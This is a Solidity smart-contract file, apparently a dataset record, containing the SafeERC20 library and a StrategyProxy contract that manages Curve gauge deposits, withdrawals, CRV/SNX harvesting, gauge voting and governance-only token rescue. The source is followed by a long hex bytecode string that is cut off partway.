library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IProxy {
function execute(
address to,
uint256 value,
bytes calldata data
) external returns (bool, bytes memory);
function increaseAmount(uint256) external;
function withdraw(IERC20 _asset) external returns (uint256 balance);
}
interface Mintr {
function mint(address) external;
}
interface FeeDistribution {
function claim(address) external returns (uint256);
}
contract StrategyProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
//IProxy public constant proxy = IProxy(0xF147b8125d2ef93FB6965Db97D6746952a133934);
IProxy public proxy = IProxy(0x52f541764E6e90eeBc5c21Ff570De0e2D63766B6);
address public mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
address public constant crv =
address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant snx =
address(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
address public gauge = address(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB);
address public y = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1);
address public sdveCRV;
address public CRV3 = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
FeeDistribution public feeDistribution =
FeeDistribution(0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc);
mapping(address => bool) public strategies;
address public governance;
// to save gas
modifier onlyGovernance() {
require(msg.sender == governance, "!governance");
_;
}
constructor(address _sdveCRV) public {
governance = msg.sender;
sdveCRV = _sdveCRV;
}
function setGovernance(address _governance) external onlyGovernance {
governance = _governance;
}
function setProxy(IProxy _proxy) external onlyGovernance {
proxy = _proxy;
}
function setMintr(address _mintr) external onlyGovernance {
mintr = _mintr;
}
function setGauge(address _gauge) external onlyGovernance {
gauge = _gauge;
}
function setY(address _y) external onlyGovernance {
y = _y;
}
function setSdveCRV(address _sdveCRV) external onlyGovernance {
sdveCRV = _sdveCRV;
}
function setCRV3(address _CRV3) external onlyGovernance {
CRV3 = _CRV3;
}
function setFeeDistribution(FeeDistribution _feeDistribution)
external
onlyGovernance
{
feeDistribution = _feeDistribution;
}
function approveStrategy(address _strategy) external onlyGovernance {
strategies[_strategy] = true;
}
function revokeStrategy(address _strategy) external onlyGovernance {
strategies[_strategy] = false;
}
function lock() external {
uint256 amount = IERC20(crv).balanceOf(address(proxy));
if (amount > 0) proxy.increaseAmount(amount); //
}
function vote(address _gauge, uint256 _amount) public {
require(strategies[msg.sender], "!strategy");
proxy.execute(
gauge,
0,
abi.encodeWithSignature(
"vote_for_gauge_weights(address,uint256)",
_gauge,
_amount
)
);
}
function withdraw(
address _gauge,
address _token,
uint256 _amount
) public returns (uint256) {
require(strategies[msg.sender], "!strategy");
uint256 _before = IERC20(_token).balanceOf(address(proxy));
uint256 _beforeSnx = IERC20(snx).balanceOf(address(proxy));
proxy.execute(
_gauge,
0,
abi.encodeWithSignature("withdraw(uint256)", _amount)
);
uint256 _after = IERC20(_token).balanceOf(address(proxy));
uint256 _afterSnx = IERC20(snx).balanceOf(address(proxy));
uint256 _net = _after.sub(_before);
proxy.execute(
_token,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_net
)
);
uint256 _snx = _afterSnx.sub(_beforeSnx);
if (_snx > 0) {
proxy.execute(
snx,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_snx
)
);
}
return _net;
}
function balanceOf(address _gauge) public view returns (uint256) {
return IERC20(_gauge).balanceOf(address(proxy));
}
// withdraw all
function withdrawAll(address _gauge, address _token)
external
returns (uint256)
{
require(strategies[msg.sender], "!strategy");
return withdraw(_gauge, _token, balanceOf(_gauge));
}
function deposit(address _gauge, address _token) external {
require(strategies[msg.sender], "!strategy");
uint256 _balance = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(address(proxy), _balance);
_balance = IERC20(_token).balanceOf(address(proxy));
proxy.execute(
_token,
0,
abi.encodeWithSignature("approve(address,uint256)", _gauge, 0)
);
proxy.execute(
_token,
0,
abi.encodeWithSignature(
"approve(address,uint256)",
_gauge,
_balance
)
);
uint256 _before = IERC20(snx).balanceOf(address(proxy));
(bool success, ) = proxy.execute(
_gauge,
0,
abi.encodeWithSignature("deposit(uint256)", _balance)
);
if (!success) assert(false);
uint256 _after = IERC20(snx).balanceOf(address(proxy));
_balance = _after.sub(_before);
if (_balance > 0) {
proxy.execute(
snx,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_balance
)
);
}
}
function harvest(address _gauge, bool _snxRewards) external {
require(strategies[msg.sender], "!strategy");
uint256 _before = IERC20(crv).balanceOf(address(proxy));
proxy.execute(
mintr,
0,
abi.encodeWithSignature("mint(address)", _gauge)
);
uint256 _after = IERC20(crv).balanceOf(address(proxy));
uint256 _balance = _after.sub(_before);
proxy.execute(
crv,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_balance
)
);
if (_snxRewards) {
_before = IERC20(snx).balanceOf(address(proxy));
proxy.execute(
_gauge,
0,
abi.encodeWithSignature("claim_rewards()")
);
_after = IERC20(snx).balanceOf(address(proxy));
_balance = _after.sub(_before);
if (_balance > 0) {
proxy.execute(
snx,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
_balance
)
);
}
}
}
function claim(address recipient) external {
require(msg.sender == sdveCRV, "!strategy");
uint256 amount = feeDistribution.claim(address(proxy));
if (amount > 0) {
proxy.execute(
CRV3,
0,
abi.encodeWithSignature(
"transfer(address,uint256)",
recipient,
amount
)
);
}
}
function ifTokenGetStuckInProxy(address asset, address recipient)
external
onlyGovernance
returns (uint256 balance)
{
require(asset != address(0), "invalid asset");
require(recipient != address(0), "invalid recipient");
balance = proxy.withdraw(IERC20(asset));
if (balance > 0) {
IERC20(asset).safeTransfer(recipient, balance);
}
}
// lets see
function ifTokenGetStuck(address asset, address recipient)
external
onlyGovernance
returns (uint256 balance)
{
require(asset != address(0), "invalid asset");
require(recipient != address(0), "invalid recipient");
balance = IERC20(asset).balanceOf(address(this));
if (balance > 0) {
IERC20(asset).safeTransfer(recipient, balance);
}
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063a56dfe4a1161010f578063d51707bf116100a2578063ec55688911610071578063ec55688914610558578063ee51284e14610560578063f83d08ba14610586578063f9609f081461058e576101e5565b8063d51707bf146104ce578063d9caed12146104f4578063e543dfc71461052a578063e7d2799814610550576101e5565b8063bb994d48116100de578063bb994d4814610444578063bbf4084e1461046a578063d18959ed14610498578063d1e61dcb146104c6576101e5565b8063a56dfe4a146103e0578063a6f19c84146103e8578063ab033ea9146103f0578063b81d61ab14610416576101e5565b80635162b92b116101875780636a4874a1116101565780636a4874a11461038457806370a082311461038c5780638665519f146103b257806397107d6d146103ba576101e5565b80635162b92b1461030457806355a68ed31461032a5780635aa6e675146103505780635f74bbde14610358576101e5565b80632479b177116101c35780632479b1771461027857806339ebf8231461029c5780633b8ae397146102d6578063510b78d0146102fc576101e5565b806309cae2c8146101ea5780631919db331461022a5780631e83409a14610252575b600080fd5b6102186004803603604081101561020057600080fd5b506001600160a01b03813581169160200135166105bc565b60408051918252519081900360200190f35b6102506004803603602081101561024057600080fd5b50356001600160a01b0316610628565b005b6102506004803603602081101561026857600080fd5b50356001600160a01b0316610697565b610280610968565b604080516001600160a01b039092168252519081900360200190f35b6102c2600480360360208110156102b257600080fd5b50356001600160a01b0316610977565b604080519115158252519081900360200190f35b610250600480360360208110156102ec57600080fd5b50356001600160a01b031661098c565b6102806109fd565b6102506004803603602081101561031a57600080fd5b50356001600160a01b0316610a0c565b6102506004803603602081101561034057600080fd5b50356001600160a01b0316610a7b565b610280610aea565b6102506004803603604081101561036e57600080fd5b506001600160a01b038135169060200135610af9565b610280610bfe565b610218600480360360208110156103a257600080fd5b50356001600160a01b0316610c16565b610280610c96565b610250600480360360208110156103d057600080fd5b50356001600160a01b0316610ca5565b610280610d14565b610280610d23565b6102506004803603602081101561040657600080fd5b50356001600160a01b0316610d32565b6102186004803603604081101561042c57600080fd5b506001600160a01b0381358116916020013516610da1565b6102506004803603602081101561045a57600080fd5b50356001600160a01b0316610f1f565b6102506004803603604081101561048057600080fd5b506001600160a01b0381351690602001351515610f8d565b610218600480360360408110156104ae57600080fd5b506001600160a01b0381358116916020013516611a0e565b610280611b5e565b610250600480360360208110156104e457600080fd5b50356001600160a01b0316611b6d565b6102186004803603606081101561050a57600080fd5b506001600160a01b03813581169160208101359091169060400135611bdc565b6102506004803603602081101561054057600080fd5b50356001600160a01b03166124a1565b610280612510565b610280612528565b6102506004803603602081101561057657600080fd5b50356001600160a01b0316612537565b6102506125a6565b610250600480360360408110156105a457600080fd5b506001600160a01b0381358116916020013516612697565b3360009081526007602052604081205460ff1661060c576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b61061f838361061a86610c16565b611bdc565b90505b92915050565b6008546001600160a01b03163314610675576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031633146106e2576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b6006546000805460408051630f41a04d60e11b81526001600160a01b039283166004820152905192939190911691631e83409a9160248082019260209290919082900301818787803b15801561073757600080fd5b505af115801561074b573d6000803e3d6000fd5b505050506040513d602081101561076157600080fd5b5051905080156109645760008054600554604080516001600160a01b038781166024808401919091526044808401899052845180850382018152606494850186526020810180516001600160e01b031663a9059cbb60e01b1781529551635b0e93fb60e11b8152968416600488018181529388018a905260609288019283528151958801959095528051939097169763b61d27f6979496909592939192608490910191808383895b83811015610821578181015183820152602001610809565b50505050905090810190601f16801561084e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561086f57600080fd5b505af1158015610883573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156108ac57600080fd5b815160208301805160405192949293830192919084600160201b8211156108d257600080fd5b9083019060208201858111156108e757600080fd5b8251600160201b81118282018810171561090057600080fd5b82525081516020918201929091019080838360005b8381101561092d578181015183820152602001610915565b50505050905090810190601f16801561095a5780820380516001836020036101000a031916815260200191505b5060405250505050505b5050565b6006546001600160a01b031681565b60076020526000908152604090205460ff1681565b6008546001600160a01b031633146109d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6005546001600160a01b031681565b6008546001600160a01b03163314610a59576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b03163314610ac8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b031681565b3360009081526007602052604090205460ff16610b49576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b60008054600254604080516001600160a01b038781166024808401919091526044808401899052845180850382018152606494850186526020810180516001600160e01b0316631ae26c6560e31b1781529551635b0e93fb60e11b8152968416600488018181529388018a905260609288019283528151958801959095528051939097169763b61d27f69794969095929391926084909101918083838983811015610821578181015183820152602001610809565b73d533a949740bb3306d119cc777fa900ba034cd5281565b60008054604080516370a0823160e01b81526001600160a01b0392831660048201529051918416916370a0823191602480820192602092909190829003018186803b158015610c6457600080fd5b505afa158015610c78573d6000803e3d6000fd5b505050506040513d6020811015610c8e57600080fd5b505192915050565b6004546001600160a01b031681565b6008546001600160a01b03163314610cf2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b6002546001600160a01b031681565b6008546001600160a01b03163314610d7f576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6008546000906001600160a01b03163314610df1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b038316610e3c576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a5908185cdcd95d609a1b604482015290519081900360640190fd5b6001600160a01b038216610e8b576040805162461bcd60e51b81526020600482015260116024820152701a5b9d985b1a59081c9958da5c1a595b9d607a1b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b158015610ed157600080fd5b505afa158015610ee5573d6000803e3d6000fd5b505050506040513d6020811015610efb57600080fd5b505190508015610622576106226001600160a01b038416838363ffffffff61311516565b6008546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b3360009081526007602052604090205460ff16610fdd576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b60008054604080516370a0823160e01b81526001600160a01b0390921660048301525173d533a949740bb3306d119cc777fa900ba034cd52916370a08231916024808301926020929190829003018186803b15801561103b57600080fd5b505afa15801561104f573d6000803e3d6000fd5b505050506040513d602081101561106557600080fd5b505160008054600154604080516001600160a01b03898116602480840191909152835180840382018152604493840185526020810180516001600160e01b03166335313c2160e11b1781529451635b0e93fb60e11b8152958316600487018181529287018990526060948701948552815160648801528151999a50929096169763b61d27f6979296929592949193926084019190808383895b838110156111165781810151838201526020016110fe565b50505050905090810190601f1680156111435780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561116457600080fd5b505af1158015611178573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156111a157600080fd5b815160208301805160405192949293830192919084600160201b8211156111c757600080fd5b9083019060208201858111156111dc57600080fd5b8251600160201b8111828201881017156111f557600080fd5b82525081516020918201929091019080838360005b8381101561122257818101518382015260200161120a565b50505050905090810190601f16801561124f5780820380516001836020036101000a031916815260200191505b506040818152600080546370a0823160e01b84526001600160a01b03166004840152905190965073d533a949740bb3306d119cc777fa900ba034cd5295506370a08231945060248083019450602093509091829003018186803b1580156112b557600080fd5b505afa1580156112c9573d6000803e3d6000fd5b505050506040513d60208110156112df57600080fd5b5051905060006112f5828463ffffffff61316c16565b6000805460408051336024808301919091526044808301879052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b815273d533a949740bb3306d119cc777fa900ba034cd5260048201818152948201899052606093820193845282519582019590955281519899506001600160a01b039096169763b61d27f6979496949591946084019190808383895b838110156113b757818101518382015260200161139f565b50505050905090810190601f1680156113e45780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561140557600080fd5b505af1158015611419573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561144257600080fd5b815160208301805160405192949293830192919084600160201b82111561146857600080fd5b90830190602082018581111561147d57600080fd5b8251600160201b81118282018810171561149657600080fd5b82525081516020918201929091019080838360005b838110156114c35781810151838201526020016114ab565b50505050905090810190601f1680156114f05780820380516001836020036101000a031916815260200191505b5060405250505050508315611a0757600054604080516370a0823160e01b81526001600160a01b0390921660048301525173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f916370a08231916024808301926020929190829003018186803b15801561155c57600080fd5b505afa158015611570573d6000803e3d6000fd5b505050506040513d602081101561158657600080fd5b505160008054604080516004808252602480830184526020830180516001600160e01b0316637378ed7960e11b1781529351635b0e93fb60e11b81526001600160a01b038d8116938201938452918101879052606060448201908152845160648301528451989b50919095169663b61d27f6968d969095608490910191808383895b83811015611620578181015183820152602001611608565b50505050905090810190601f16801561164d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561166e57600080fd5b505af1158015611682573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156116ab57600080fd5b815160208301805160405192949293830192919084600160201b8211156116d157600080fd5b9083019060208201858111156116e657600080fd5b8251600160201b8111828201881017156116ff57600080fd5b82525081516020918201929091019080838360005b8381101561172c578181015183820152602001611714565b50505050905090810190601f1680156117595780820380516001836020036101000a031916815260200191505b5060408181526000546370a0823160e01b83526001600160a01b031660048301525173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f96506370a082319550602480830195506020945090925090829003018186803b1580156117bc57600080fd5b505afa1580156117d0573d6000803e3d6000fd5b505050506040513d60208110156117e657600080fd5b505191506117fa828463ffffffff61316c16565b90508015611a07576000805460408051336024808301919091526044808301879052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b815273c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f60048201818152948201899052606093820193845282519582019590955281516001600160a01b039097169763b61d27f6979596909592949392608490920191808383895b838110156118c45781810151838201526020016118ac565b50505050905090810190601f1680156118f15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561191257600080fd5b505af1158015611926573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561194f57600080fd5b815160208301805160405192949293830192919084600160201b82111561197557600080fd5b90830190602082018581111561198a57600080fd5b8251600160201b8111828201881017156119a357600080fd5b82525081516020918201929091019080838360005b838110156119d05781810151838201526020016119b8565b50505050905090810190601f1680156119fd5780820380516001836020036101000a031916815260200191505b5060405250505050505b5050505050565b6008546000906001600160a01b03163314611a5e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b038316611aa9576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a5908185cdcd95d609a1b604482015290519081900360640190fd5b6001600160a01b038216611af8576040805162461bcd60e51b81526020600482015260116024820152701a5b9d985b1a59081c9958da5c1a595b9d607a1b604482015290519081900360640190fd5b60008054604080516351cff8d960e01b81526001600160a01b038781166004830152915191909216926351cff8d992602480820193602093909283900390910190829087803b158015611b4a57600080fd5b505af1158015610ee5573d6000803e3d6000fd5b6001546001600160a01b031681565b6008546001600160a01b03163314611bba576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526007602052604081205460ff16611c2c576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b60008054604080516370a0823160e01b81526001600160a01b0392831660048201529051918616916370a0823191602480820192602092909190829003018186803b158015611c7a57600080fd5b505afa158015611c8e573d6000803e3d6000fd5b505050506040513d6020811015611ca457600080fd5b505160008054604080516370a0823160e01b81526001600160a01b03909216600483015251929350909173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f916370a08231916024808301926020929190829003018186803b158015611d0957600080fd5b505afa158015611d1d573d6000803e3d6000fd5b505050506040513d6020811015611d3357600080fd5b5051600080546040805160248082018a9052825180830382018152604492830184526020810180516001600160e01b0316632e1a7d4d60e01b1781529351635b0e93fb60e11b81526001600160a01b038e81166004830190815293820188905260609482019485528251606483015282519899509095169663b61d27f6968e969095929492608490910191808383895b83811015611ddb578181015183820152602001611dc3565b50505050905090810190601f168015611e085780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611e2957600080fd5b505af1158015611e3d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015611e6657600080fd5b815160208301805160405192949293830192919084600160201b821115611e8c57600080fd5b908301906020820185811115611ea157600080fd5b8251600160201b811182820188101715611eba57600080fd5b82525081516020918201929091019080838360005b83811015611ee7578181015183820152602001611ecf565b50505050905090810190601f168015611f145780820380516001836020036101000a031916815260200191505b506040818152600080546370a0823160e01b84526001600160a01b0390811660048501529151909750908c1695506370a08231945060248083019450602093509091829003018186803b158015611f6a57600080fd5b505afa158015611f7e573d6000803e3d6000fd5b505050506040513d6020811015611f9457600080fd5b505160008054604080516370a0823160e01b81526001600160a01b03909216600483015251929350909173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f916370a08231916024808301926020929190829003018186803b158015611ff957600080fd5b505afa15801561200d573d6000803e3d6000fd5b505050506040513d602081101561202357600080fd5b505190506000612039838663ffffffff61316c16565b90506000809054906101000a90046001600160a01b03166001600160a01b031663b61d27f6896000338560405160240180836001600160a01b03166001600160a01b031681526020018281526020019250505060405160208183030381529060405263a9059cbb60e01b6001600160e01b0319166020820180516001600160e01b0383818316178352505050506040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578181015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561217e57600080fd5b505af1158015612192573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156121bb57600080fd5b815160208301805160405192949293830192919084600160201b8211156121e157600080fd5b9083019060208201858111156121f657600080fd5b8251600160201b81118282018810171561220f57600080fd5b82525081516020918201929091019080838360005b8381101561223c578181015183820152602001612224565b50505050905090810190601f1680156122695780820380516001836020036101000a031916815260200191505b5060405250505050506000612287858461316c90919063ffffffff16565b90508015612494576000805460408051336024808301919091526044808301879052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b815273c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f60048201818152948201899052606093820193845282519582019590955281516001600160a01b039097169763b61d27f6979596909592949392608490920191808383895b83811015612351578181015183820152602001612339565b50505050905090810190601f16801561237e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561239f57600080fd5b505af11580156123b3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156123dc57600080fd5b815160208301805160405192949293830192919084600160201b82111561240257600080fd5b90830190602082018581111561241757600080fd5b8251600160201b81118282018810171561243057600080fd5b82525081516020918201929091019080838360005b8381101561245d578181015183820152602001612445565b50505050905090810190601f16801561248a5780820380516001836020036101000a031916815260200191505b5060405250505050505b5098975050505050505050565b6008546001600160a01b031633146124ee576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b73c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f81565b6000546001600160a01b031681565b6008546001600160a01b03163314612584576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b81526001600160a01b0390921660048301525173d533a949740bb3306d119cc777fa900ba034cd52916370a08231916024808301926020929190829003018186803b15801561260457600080fd5b505afa158015612618573d6000803e3d6000fd5b505050506040513d602081101561262e57600080fd5b505190508015612694576000805460408051630aa2b75d60e11b81526004810185905290516001600160a01b03909216926315456eba9260248084019382900301818387803b15801561268057600080fd5b505af1158015611a07573d6000803e3d6000fd5b50565b3360009081526007602052604090205460ff166126e7576040805162461bcd60e51b815260206004820152600960248201526821737472617465677960b81b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561273157600080fd5b505afa158015612745573d6000803e3d6000fd5b505050506040513d602081101561275b57600080fd5b5051600054909150612780906001600160a01b0384811691168363ffffffff61311516565b600054604080516370a0823160e01b81526001600160a01b0392831660048201529051918416916370a0823191602480820192602092909190829003018186803b1580156127cd57600080fd5b505afa1580156127e1573d6000803e3d6000fd5b505050506040513d60208110156127f757600080fd5b505160008054604080516001600160a01b038881166024808401919091526044808401879052845180850382018152606494850186526020810180516001600160e01b031663095ea7b360e01b1781529551635b0e93fb60e11b81528b85166004820190815293810189905260609281019283528151958101959095528051989950929095169663b61d27f6968a96909593949293909260840191808383895b838110156128af578181015183820152602001612897565b50505050905090810190601f1680156128dc5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156128fd57600080fd5b505af1158015612911573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561293a57600080fd5b815160208301805160405192949293830192919084600160201b82111561296057600080fd5b90830190602082018581111561297557600080fd5b8251600160201b81118282018810171561298e57600080fd5b82525081516020918201929091019080838360005b838110156129bb5781810151838201526020016129a3565b50505050905090810190601f1680156129e85780820380516001836020036101000a031916815260200191505b506040818152600080546001600160a01b038c811660248087019190915260448087018d9052855180880382018152606497880187526020810180516001600160e01b031663095ea7b360e01b1781529651635b0e93fb60e11b81528f85166004820190815293810187905260609281019283528151988101989098528051939094169b5063b61d27f69a508d99509397509195509093919260849092019190808383895b83811015612aa5578181015183820152602001612a8d565b50505050905090810190601f168015612ad25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015612af357600080fd5b505af1158015612b07573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015612b3057600080fd5b815160208301805160405192949293830192919084600160201b821115612b5657600080fd5b908301906020820185811115612b6b57600080fd5b8251600160201b811182820188101715612b8457600080fd5b82525081516020918201929091019080838360005b83811015612bb1578181015183820152602001612b99565b50505050905090810190601f168015612bde5780820380516001836020036101000a031916815260200191505b506040818152600080546370a0823160e01b84526001600160a01b03166004840152905190965073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f95506370a08231945060248083019450602093509091829003018186803b158015612c4457600080fd5b505afa158015612c58573d6000803e3d6000fd5b505050506040513d6020811015612c6e57600080fd5b505160008054604080516024808201889052825180830382018152604492830184526020810180516001600160e01b031663b6b55f2560e01b1781529351635b0e93fb60e11b81526001600160a01b038c81166004830190815293820188905260609482019485528251606483015282519899509697969095169563b61d27f6958c95899593949392608490920191808383895b83811015612d1a578181015183820152602001612d02565b50505050905090810190601f168015612d475780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015612d6857600080fd5b505af1158015612d7c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015612da557600080fd5b815160208301805160405192949293830192919084600160201b821115612dcb57600080fd5b908301906020820185811115612de057600080fd5b8251600160201b811182820188101715612df957600080fd5b82525081516020918201929091019080838360005b83811015612e26578181015183820152602001612e0e565b50505050905090810190601f168015612e535780820380516001836020036101000a031916815260200191505b5060405250505050905080612e6457fe5b60008054604080516370a0823160e01b81526001600160a01b0390921660048301525173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f916370a08231916024808301926020929190829003018186803b158015612ec257600080fd5b505afa158015612ed6573d6000803e3d6000fd5b505050506040513d6020811015612eec57600080fd5b50519050612f00818463ffffffff61316c16565b9350831561310d5760008054604080513360248083019190915260448083018a9052835180840382018152606493840185526020810180516001600160e01b031663a9059cbb60e01b1781529451635b0e93fb60e11b815273c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f60048201818152948201899052606093820193845282519582019590955281516001600160a01b039097169763b61d27f6979596909592949392608490920191808383895b83811015612fca578181015183820152602001612fb2565b50505050905090810190601f168015612ff75780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561301857600080fd5b505af115801561302c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561305557600080fd5b815160208301805160405192949293830192919084600160201b82111561307b57600080fd5b90830190602082018581111561309057600080fd5b8251600160201b8111828201881017156130a957600080fd5b82525081516020918201929091019080838360005b838110156130d65781810151838201526020016130be565b50505050905090810190601f1680156131035780820380516001836020036101000a031916815260200191505b5060405250505050505b505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526131679084906131ae565b505050565b600061061f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061336c565b613